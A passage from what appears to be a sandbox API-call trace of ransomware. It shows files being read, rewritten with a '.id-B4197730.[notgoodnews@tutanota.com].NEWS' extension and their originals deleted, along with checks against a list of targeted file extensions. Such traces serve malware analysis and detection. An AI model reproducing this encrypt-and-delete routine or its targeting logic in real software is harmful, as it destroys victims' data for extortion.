hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.799] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0061.800] GetLastError () returned 0x0 [0061.800] ReadFile (in: hFile=0x31c, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xed90, lpOverlapped=0x0) returned 1 [0061.811] WriteFile (in: hFile=0x320, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xeda0, lpOverlapped=0x0) returned 1 [0061.813] ReadFile (in: hFile=0x31c, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.813] WriteFile (in: hFile=0x320, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xf6, lpOverlapped=0x0) returned 1 [0061.813] SetEndOfFile (hFile=0x320) returned 1 [0061.813] CloseHandle (hObject=0x320) returned 1 [0061.815] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.815] SetEndOfFile (hFile=0x31c) returned 1 [0061.816] CloseHandle (hObject=0x31c) returned 1 [0061.816] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0061.816] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 1 [0061.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0061.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0061.817] lstrlenW (lpString=".doc") returned 4 [0061.817] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.817] lstrlenW (lpString=".docx") returned 5 [0061.817] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0061.817] lstrlenW (lpString=".pdf") returned 4 [0061.817] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.817] lstrlenW (lpString=".xls") returned 4 [0061.817] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.817] lstrlenW (lpString=".xlsx") returned 5 [0061.817] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0061.817] lstrlenW (lpString=".ppt") returned 4 [0061.817] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0061.817] lstrlenW (lpString=".zip") returned 4 [0061.817] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.817] lstrlenW (lpString=".rar") returned 4 [0061.817] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.817] lstrlenW (lpString=".bz2") returned 4 [0061.817] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.817] lstrlenW (lpString=".7z") returned 3 [0061.817] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0061.817] lstrlenW (lpString=".dbf") returned 4 [0061.817] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0061.817] lstrlenW (lpString=".1cd") returned 4 [0061.817] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0061.818] lstrlenW (lpString=".jpg") returned 4 [0061.818] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.818] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0061.818] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0061.818] lstrlenW (lpString=".doc") returned 4 [0061.818] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.818] lstrlenW (lpString=".docx") returned 5 [0061.818] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0061.818] lstrlenW (lpString=".pdf") returned 4 [0061.818] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.818] lstrlenW (lpString=".xls") returned 4 [0061.818] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.818] lstrlenW (lpString=".xlsx") returned 5 [0061.818] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0061.818] lstrlenW (lpString=".ppt") returned 4 [0061.818] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.818] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0061.818] lstrlenW (lpString=".zip") returned 4 [0061.818] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.818] lstrlenW (lpString=".rar") returned 4 [0061.818] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.818] lstrlenW (lpString=".bz2") returned 4 [0061.818] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.818] lstrlenW (lpString=".7z") returned 3 [0061.818] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.818] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0061.818] lstrlenW (lpString=".dbf") returned 4 [0061.818] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.818] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0061.818] lstrlenW (lpString=".1cd") returned 4 [0061.818] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.818] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0061.818] lstrlenW (lpString=".jpg") returned 4 [0061.818] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.819] Sleep (dwMilliseconds=0x64) [0063.615] lstrcmpiW (lpString1=".rtf", lpString2=".NEWS") returned 1 [0063.615] lstrlenW (lpString="eula.rtf") returned 8 [0063.615] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0063.615] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3188) returned 1 [0063.615] CloseHandle (hObject=0x338) returned 1 [0063.615] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 0x80 [0063.615] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.616] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0063.616] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.616] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.616] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0063.618] GetLastError () returned 0x0 [0063.618] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xc74, lpOverlapped=0x0) returned 1 [0063.619] WriteFile (in: hFile=0x33c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xc80, lpOverlapped=0x0) returned 1 [0063.620] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.620] WriteFile (in: hFile=0x33c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xe4, lpOverlapped=0x0) returned 1 [0063.620] SetEndOfFile (hFile=0x33c) returned 1 [0063.630] CloseHandle (hObject=0x33c) returned 1 [0063.631] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.631] SetEndOfFile (hFile=0x338) returned 1 [0063.632] CloseHandle (hObject=0x338) returned 1 [0063.632] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0063.633] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 1 [0063.633] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0063.633] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0063.633] lstrlenW (lpString=".doc") returned 4 [0063.633] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0063.633] lstrlenW (lpString=".docx") returned 5 [0063.633] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0063.633] lstrlenW (lpString=".pdf") returned 4 [0063.633] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0063.633] lstrlenW (lpString=".xls") returned 4 [0063.633] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0063.633] lstrlenW (lpString=".xlsx") returned 5 [0063.633] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0063.633] lstrlenW (lpString=".ppt") returned 4 [0063.633] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0063.633] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0063.633] lstrlenW (lpString=".zip") returned 4 [0063.633] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0063.633] lstrlenW (lpString=".rar") returned 4 [0063.634] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0063.634] lstrlenW (lpString=".bz2") returned 4 [0063.634] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0063.634] lstrlenW (lpString=".7z") returned 3 [0063.634] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0063.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0063.634] lstrlenW (lpString=".dbf") returned 4 [0063.634] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0063.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0063.634] lstrlenW (lpString=".1cd") returned 4 [0063.634] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0063.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0063.634] lstrlenW (lpString=".jpg") returned 4 [0063.634] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0063.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0063.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0063.635] lstrlenW (lpString=".doc") returned 4 [0063.635] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0063.635] lstrlenW (lpString=".docx") returned 5 [0063.635] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0063.635] lstrlenW (lpString=".pdf") returned 4 [0063.635] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0063.635] lstrlenW (lpString=".xls") returned 4 [0063.635] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0063.635] lstrlenW (lpString=".xlsx") returned 5 [0063.635] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0063.635] lstrlenW (lpString=".ppt") returned 4 [0063.635] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0063.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0063.635] lstrlenW (lpString=".zip") returned 4 [0063.635] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0063.635] lstrlenW (lpString=".rar") returned 4 [0063.635] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0063.635] lstrlenW (lpString=".bz2") returned 4 [0063.635] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0063.635] lstrlenW (lpString=".7z") returned 3 [0063.635] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0063.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0063.635] lstrlenW (lpString=".dbf") returned 4 [0063.635] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0063.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0063.635] lstrlenW (lpString=".1cd") returned 4 [0063.635] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0063.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0063.635] lstrlenW (lpString=".jpg") returned 4 [0063.635] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0063.636] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0063.636] lstrlenW (lpString="LocalizedData.xml") returned 17 [0063.636] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0063.636] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=77232) returned 1 [0063.636] CloseHandle (hObject=0x338) returned 1 [0063.636] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 0x80 [0063.636] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.636] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0063.636] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.636] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.636] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0063.636] GetLastError () returned 0x0 [0063.637] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x12db0, lpOverlapped=0x0) returned 1 [0063.639] WriteFile (in: hFile=0x33c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x12dc0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x12dc0, lpOverlapped=0x0) returned 1 [0063.641] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.641] WriteFile (in: hFile=0x33c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xf6, lpOverlapped=0x0) returned 1 [0063.641] SetEndOfFile (hFile=0x33c) returned 1 [0063.641] CloseHandle (hObject=0x33c) returned 1 [0063.644] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.644] SetEndOfFile (hFile=0x338) returned 1 [0063.645] CloseHandle (hObject=0x338) returned 1 [0063.645] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0063.646] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 1 [0063.646] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0063.646] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0063.646] lstrlenW (lpString=".doc") returned 4 [0063.646] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.646] lstrlenW (lpString=".docx") returned 5 [0063.646] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0063.646] lstrlenW (lpString=".pdf") returned 4 [0063.646] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.646] lstrlenW (lpString=".xls") returned 4 [0063.646] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.646] lstrlenW (lpString=".xlsx") returned 5 [0063.646] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0063.646] lstrlenW (lpString=".ppt") returned 4 [0063.646] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.646] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0063.646] lstrlenW (lpString=".zip") returned 4 [0063.646] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.646] lstrlenW (lpString=".rar") returned 4 [0063.646] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.646] lstrlenW (lpString=".bz2") returned 4 [0063.646] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.647] lstrlenW (lpString=".7z") returned 3 [0063.647] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.647] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0063.647] lstrlenW (lpString=".dbf") returned 4 [0063.647] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.647] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0063.647] lstrlenW (lpString=".1cd") returned 4 [0063.647] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.647] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0063.647] lstrlenW (lpString=".jpg") returned 4 [0063.647] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.647] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0063.647] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0063.647] lstrlenW (lpString=".doc") returned 4 [0063.647] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.647] lstrlenW (lpString=".docx") returned 5 [0063.647] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0063.647] lstrlenW (lpString=".pdf") returned 4 [0063.647] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.647] lstrlenW (lpString=".xls") returned 4 [0063.647] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.647] lstrlenW (lpString=".xlsx") returned 5 [0063.647] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0063.647] lstrlenW (lpString=".ppt") returned 4 [0063.647] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.647] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0063.647] lstrlenW (lpString=".zip") returned 4 [0063.647] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.647] lstrlenW (lpString=".rar") returned 4 [0063.647] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.647] lstrlenW (lpString=".bz2") returned 4 [0063.647] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.647] lstrlenW (lpString=".7z") returned 3 [0063.647] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.647] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0063.648] lstrlenW (lpString=".dbf") returned 4 [0063.648] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.648] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0063.648] lstrlenW (lpString=".1cd") returned 4 [0063.648] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.648] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0063.648] lstrlenW (lpString=".jpg") returned 4 [0063.648] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.648] lstrcmpiW (lpString1=".rtf", lpString2=".NEWS") returned 1 [0063.648] lstrlenW (lpString="eula.rtf") returned 8 [0063.648] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0063.648] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3702) returned 1 [0063.648] CloseHandle (hObject=0x338) returned 1 [0063.648] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 0x80 [0063.648] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.648] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0063.648] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.649] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.649] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0064.286] GetLastError () returned 0x0 [0064.286] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xe76, lpOverlapped=0x0) returned 1 [0064.288] WriteFile (in: hFile=0x358, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xe80, lpOverlapped=0x0) returned 1 [0064.289] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.289] WriteFile (in: hFile=0x358, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xe4, lpOverlapped=0x0) returned 1 [0064.289] SetEndOfFile (hFile=0x358) returned 1 [0064.289] CloseHandle (hObject=0x358) returned 1 [0064.290] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.290] SetEndOfFile (hFile=0x338) returned 1 [0064.291] CloseHandle (hObject=0x338) returned 1 [0064.291] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.291] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 1 [0064.292] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0064.292] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0064.292] lstrlenW (lpString=".doc") returned 4 [0064.292] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.292] lstrlenW (lpString=".docx") returned 5 [0064.292] lstrcmpiW 